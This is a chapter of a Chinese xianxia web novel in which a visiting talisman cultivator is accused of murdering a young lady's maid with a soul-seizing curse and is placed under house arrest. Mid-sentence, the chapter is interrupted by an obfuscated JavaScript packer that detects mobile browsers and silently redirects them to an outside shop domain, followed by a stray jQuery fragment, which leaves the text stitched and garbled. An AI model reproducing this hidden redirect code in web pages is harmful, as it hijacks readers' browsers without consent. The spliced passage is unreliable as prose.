原本唐羡鱼以为,齐川剑阁每年出产兵器数量甚多,所需符咒数量必然巨大。
但经过这次调研才发现,此间所产总量确实不少,但用得到符咒术辅助的灵器,却并不多。
那么她之前所想的,仅从齐轸夫妻手里分一杯羹的打算,就不能作数了,要将这条供应链全部吃进来才行。
既然如此,探寻齐川剑阁与天玑山的联姻内幕,便变得重要了起来。
毕竟,抢生意嘛,还是得知己知彼,才能有针对性的切入。
因此她便安排齐羽轩,去侧面问问自己的父亲,是否知晓其中内幕。
不过还不待唐羡鱼理出个头绪,已有人先找上了门。
那是她拜访齐川剑阁的第三日,清晨天刚蒙蒙亮,雾气都还没有散。
唐羡鱼之前在云溪宗事务繁忙,经常二十四小时连轴转,忙得脚不沾地。
待得此次卸下所有事务出门,倒是捡回了现代社会的习惯。
因此前日入夜后,她便休息了,此刻还在睡梦之中。
砰砰砰砰砰!
外面传来激烈的砸门声。
听到这巨响,她第一反应还以为自己在做梦,迷迷糊糊甩出去了一枚隔音符,隔绝了一切声音。
唐羡鱼心道:世界终于清净下来了。
结果外面来人见无人应答,怒气更胜,竟然命人直接冲门。
好在唐羡鱼出门在外多留了个心眼,临睡前布置了防御的法阵,这才没有被人直接闯进了门来。
这法阵与她神魂相连,其被人所冲撞,便向她发出警示。
唐羡鱼终于从沉睡中清醒过来,睁开双眼,发现原来自己并非是做梦。
感应到外面的人仍在试图冲阵,她心中有些奇怪,是何人敢在齐川剑阁中撒野。
她双眼微眯,撤掉了刚刚甩出去的隔音符,想听听究竟发生了什么事。
只听外面一个女声正在发号施令:“你们这群废物!再去叫二十名弟子来,快把这劳什子法阵给我破了!”
唐羡鱼凝神细听,发现气势汹汹而来的,正是大小姐齐轸。
对方此刻正因破不了唐羡鱼的防御法阵,在大发雷霆。
见她如此不顾忌颜面,竟然一清早便要硬闯自己的房门,唐羡鱼心中无名火起,隔着门冷声喝道:“大小姐真是好修养!这便是你齐川剑阁的待客之道吗?”
“你还好意思提及待客之道!”齐轸见她终于应声,也高声怒呛。
唐羡鱼无语:我有什么不好意思的……
“还破不了这法阵吗!”见齐轸咬牙切齿地发了狠:“我还不信了,去请阁主的破城锥来!”
弟子一听这话,吓得瑟瑟发抖,赶紧劝阻:“大小姐,这破城锥可是镇阁之宝,您无权动用啊……”
“此事事关重大,还是去请殷先生吧?”又有另一名弟子小心翼翼道。
一听殷之行的名字,齐轸明显更加暴怒了:“给我站住!我看谁敢去!”
“大小姐闹够了没有?”见她没有罢休的意思,唐羡鱼无奈道:“究竟发生何事,值得你一清早兴师动众前来?”
齐轸怒道:“我齐川剑阁本以礼相待,你们倒好,打着拜访的旗号来我家,实际干的却是杀人越货的勾当!”
在一片乱哄哄的吵闹声和金石交击声中,唐羡鱼抓住了齐轸话里的重点。
杀人越货?
她此行前来,为了抢夺符咒的供应权不假,会侵害到齐轸夫妻的利益也不假,但扯到杀人越货,就有些离谱了。
唐羡鱼心念电转,这位大小姐一清早便发难,似是满腔怒火而来。让她有些拿不准,对方究竟是伺机生事,还是的确发生了什么命案。
唐羡鱼如今已是元婴初期,齐轸不过是金丹巅峰,她手下的弟子也无什么高阶修士,这才半晌无法攻破她的法阵。
但对方来势汹汹,想必不可能被三言两语打发走。
如若这么僵持下去,齐川剑阁人多势众,再请来什么法宝一类,自己的防御法阵被破,亦只是时间问题。
论实战唐羡鱼倒是不怕,至少自保脱身的能力还是有的。
但她本就是为了商务谈判而来,这阁主还没见到,先跟她女儿撕破脸了算怎么回事?
况且抛开齐羽轩不提,她还带了个长孙祁如来此,自己得为她的安危负责,如今也不知是何情况。
唐羡鱼正想在思索解围之法,却听到外面急匆匆又来了一行人。
想来还是有弟子偷偷禀报了殷之行,他便立刻带着齐羽轩和几名弟子,过来查看情况。
众人一进院子,便见齐轸已派人将唐羡鱼的客舍团团围住,正在试图闯入房内。
一大清早便要处理此事,殷之行显是也十分头痛。
但他涵养一流,仍是温声询问道:“大小姐,这是发生了何事,怎的如此兴师动众?”
齐轸原本便看不上殷之行父子,如今见他二人来了,心中更是不忿,怒气冲冲道:“齐羽轩,你可真是出息了,学会带外人回家杀人来了!”
齐羽轩听了这话大惊失色,疑惑问道:“长姐何出此言,此间究竟发生了何事?”
齐轸冷哼一声,又有弟子上前去,低声告知了父子二人原委。
原来今日清晨,几名弟子巡视时发现,有人在一条僻静的小巷中,正靠墙坐着。
弟子心中奇怪,便高声询问,“是谁在那里?”
那人却不回答,几名弟子见状便上前查探,却发现乃是一名女子,当时已无生命迹象。
其中一人认出来,此女乃是大小姐的贴身侍女陈月,不由大惊失色,赶紧前去汇报。
齐轸虽然生性傲慢,但她与这侍女乃从小一同长大,情分非比寻常。
她一大早正在院中习剑,便惊闻陈月的死讯。她立刻带领手下,匆匆赶到事发之地。
陈月靠墙而坐,头往一侧歪着,双手紧紧撑着地面,已毫无气息。
齐轸见状,震惊得连退三步,一时难以置信。
好半天她才镇定下来,命人将尸首抬走,随之而来便是大怒。
她思前想后,阁中近几年还算太平,这些时日唯一的不同寻常,便只有云溪宗几人前来拜访。
想必几人与此事脱不了干系,她这才大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304186|148788||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动干戈,前来兴师问罪。
听了弟子所报,殷之行沉吟道:“陈月一向跟着大小姐,缘何会出现在小巷之中?”
齐轸怒道:“她昨日向我告假,说要回去探望家人,我自是应允。谁知竟然死在那里!”
唐羡鱼在房内默默听着,心中不住思索。
按照几人所言,此番身亡的,乃是齐轸身边十分亲近之人。
除非这位大小姐丧心病狂,否则不至于杀了亲近之人,便只为向云溪宗发难。
看来此人之死,必然另有隐情。
她隔着门朗声分辨道:“大小姐,我理解你心中悲痛,但你也要讲道理。我对此事毫不知情,你有何证据是在下杀人吗?”
“我便知道你要狡辩,”齐轸冷笑道:“来人,将陈月的尸首抬过来!”
弟子领命而去,不一会便将尸首抬了过来。
“你们自己看吧。”又看到侍女的死状,齐轸的声音不由低了下去。
殷之行与齐羽轩上前俯身查看,只见陈月面容扭曲,双目圆睁,脸上尽是惊恐之色,仿佛死前看见了什么不可思议的事。
她身上衣衫完好,并无外伤痕迹,只在眉心处有一道暗红色印记。
齐羽轩直起身子,倒吸一口凉气,不可置信道:“这是……”
“这是摄魂咒!”齐轸怒极反笑:“还敢说我冤枉你云溪宗吗?”
摄魂咒?
唐羡鱼听了此言,心中震惊,明白此事必然无法善了了。
这摄魂咒乃是高阶符咒,需元婴以上符修方可使出。
此咒与法宝摄魂铃截然不同。
虽然都以“摄魂”二字为名,但唐羡鱼此前所用过的摄魂铃,只是发出声响,限制目标的行动,为施法者争取一刻时机。
而摄魂咒,则是专门致人死地的杀人咒法!
此法杀人于无声,会让摄取目标的神魂,使其瞬间暴毙。
死者外表看不出什么伤痕,唯一证据便是眉心一点暗红。
最可怕的是,这咒法在目标活着时,便已活活捏碎其神魂,因此死状必十分凄惨。
而且中了摄魂咒之人,是真正意义上的魂飞魄散,便是连搜魂术都无法再探查,从而死无对证。
齐川剑阁皆是剑修,如今在此地的符修,便只有唐羡鱼与齐羽轩二人。
齐羽轩是阁主之子,且仅是金丹境界,不足以驱使此高阶咒术。
那唯一的嫌疑人,岂不就成了唐羡鱼!
只是这咒太过恶毒,唐羡鱼虽知晓,却并未修习过,更别说拿它杀人。
但此刻面对如此情形,她也一时无从分辨,只能道:“此事绝非在下所为。”
而殷之行从见到尸首开始,便一直沉默不语。
他此刻终于开口,声音倒是一如既往的不疾不徐:“唐长老,在下并非不相信你,只是事关重大,我也要给弟子们一个交代,希望你能理解。”
“大小姐还请先回去,此事我来处理,”不待唐羡鱼回应,他便继续吩咐手下:“来人,将此处围住,日夜看守,不得有失。”
竟是将唐羡鱼软禁了!